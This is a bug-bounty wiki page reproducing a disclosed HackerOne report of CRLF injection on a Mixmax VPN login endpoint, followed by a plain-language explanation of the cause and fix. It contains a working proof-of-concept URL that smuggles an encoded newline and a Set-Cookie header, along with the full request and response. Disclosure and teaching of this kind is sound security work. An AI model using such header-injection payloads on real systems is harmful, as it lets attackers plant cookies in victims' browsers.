Skip to content
Smuggling / CRLF Disclosed report Beginner

CRLF Injection on https://vpn.mixmax.com

The VPN login endpoint reflected a URL-encoded newline into an HTTP response header, allowing an attacker to inject an arbitrary Set-Cookie header. An attacker could set cookies on the victim's browser for that domain.

sir_morty Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 6 days
  • Disclosed after 6 days

Hey guys,

I found that the site https://vpn.mixmax.com is vulnerable to a CRLF Injection.

By injecting a Carriage Return and Line Feed character, we are able to make the server issue a set-cookie header.

Proof-of-Concept:

https://vpn.mixmax.com/__session_start__/%0aSet-Cookie:malicious_cookie1

Request:

GET /__session_start__/%0aSet-Cookie:malicious_cookie1 HTTP/1.1
Host: vpn.mixmax.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: openvpn_sess_e3c6c988cb5e4729bb261cf849082d71=9fbd7613d1b7f33d5717bcc33739caa1
Connection: close

Response:

HTTP/1.1 302 Found
Date: Wed, 31 May 2017 07:38:50 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Location: https://vpn.mixmax.com/
Set-Cookie:malicious_cookie1
Server: OpenVPN-AS
Content-Length: 59


<html>
    <body>
    <p>REDIRECT</p>
    </body>
</html>

As can be seen in the response, the server will issue a Set-Cookie header with an arbitrary value and that cookie will be set on the client.

To mitigate this issue, the application should strip out any input which contains the %0d%0a URL encoded characters.

The original report as published on HackerOne, by sir_morty. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application placed part of the request path into a response header without stripping carriage-return and line-feed characters.

Impact

An attacker could set arbitrary cookies on a victim's browser for the VPN domain.

What the attacker needed

Attacker can send a crafted request to the vulnerable…

The fix

The application should strip carriage-return and line-feed characters from any input that is placed into response headers.

How it was found

  1. Send a request to the session-start path with an encoded newline followed by a Set-Cookie header in the URL.
  2. Observe the server's redirect response containing the injected Set-Cookie header.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web server builds its reply, it separates headers (like Set-Cookie) with special newline characters. If a user-supplied part of the URL is copied into a header without cleaning, an attacker can sneak in their own newline and add extra headers. Here the attacker added a cookie header, so the victim's browser would store a cookie the attacker chose.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More from Mixmax

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.